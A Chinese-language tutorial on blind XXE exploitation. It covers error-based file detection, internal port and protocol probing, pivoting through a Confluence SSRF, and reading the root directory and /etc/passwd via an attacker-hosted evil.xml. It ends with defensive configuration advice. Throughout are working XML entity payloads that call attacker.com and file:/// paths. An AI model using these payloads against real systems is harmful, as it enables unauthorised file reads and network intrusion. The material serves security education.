从 blind XXE 到读取根目录文件
字数 1338 2025-08-27 12:33:37
Blind XXE漏洞利用:从探测到读取根目录文件
1. XXE漏洞基础
XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵XML处理器的外部实体处理功能来读取文件、执行服务器端请求伪造(SSRF)等操作。
1.1 基本XXE攻击
基本XXE攻击通常包含以下结构:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
2. Blind XXE漏洞发现
2.1 初始探测
通过观察服务器对不同XML输入的响应来识别XXE漏洞:
-
无效XML测试:
<xml version="abc" ?><Doc/>服务器响应表明它处理XML输入但版本不支持。
-
有效XML测试:
<?xml version="1.0" ?><Doc/>响应表明需要认证。
2.2 外部实体测试
尝试加载外部实体:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://attacker.com/x">
%ext;
]>
<r></r>
- 如果服务器解析了外部实体但被防火墙阻止,可能表现为延迟或超时
- 无HTTP请求到达攻击者服务器表明出站流量被阻止
3. Blind XXE利用技术
3.1 文件存在性检测
通过错误消息差异判断文件是否存在:
-
文件存在时:
<!ENTITY % ext SYSTEM "file:///etc/passwd">响应:
The markup declarations contained or pointed to by the document type declaration must be well-formed. -
文件不存在时:
<!ENTITY % ext SYSTEM "file:///nonexistent">响应:
No such file or directory
3.2 内部端口扫描
通过协议错误检测开放端口:
<!ENTITY % ext SYSTEM "http://localhost:22/">
响应Invalid Http response表明端口开放但服务不返回有效HTTP响应。
3.3 协议探测
测试支持的协议:
<!ENTITY % ext SYSTEM "gopher://localhost/">
错误消息会返回不支持的协议名称。
4. 利用内部服务绕过限制
4.1 识别内部易受攻击服务
通过已知内部域名枚举:
- wiki.company.internal
- jira.company.internal
- confluence.company.internal
4.2 利用Confluence的SSRF漏洞
Confluence的OAuth插件存在SSRF漏洞,可用来代理请求:
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://attacker.com/evil.xml">
5. 文件内容读取技术
5.1 目录列表读取
evil.xml内容:
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
攻击请求:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.../evil.xml">
%ext;
%ent;
]>
<r>&data;</r>
响应会显示根目录内容。
5.2 文件内容读取技巧
对于包含冒号的文件(如/etc/passwd),在内容前添加冒号:
evil.xml修改为:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
这会触发no protocol错误并显示完整文件内容。
6. Java SAX解析器特性
- 访问目录时会返回目录列表
- 错误消息可能泄露多行响应
- 现代Java版本限制多行文件作为外部HTTP请求导出
7. 防御建议
7.1 开发人员
-
禁用外部实体处理:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
使用安全的XML处理器配置
7.2 系统管理员
- 及时修补内部服务器
- 实施适当的网络分隔
- 限制内部服务器间的通信
- 将详细错误信息写入日志而非HTTP响应
8. 漏洞利用流程总结
- 识别XML处理端点
- 测试基本XXE是否可行
- 当遇到blind情况时,通过错误差异探测文件/端口
- 寻找内部易受攻击服务作为代理
- 利用代理服务绕过限制读取敏感数据
9. 关键点回顾
- 错误消息分析:不同响应是blind XXE的关键
- 内部服务利用:未修补的内部服务可作为代理
- Java特性:目录访问和错误处理方式可被利用
- 协议技巧:在内容前添加冒号可绕过协议解析限制
- 网络分隔不足:内部网络不应被视为完全可信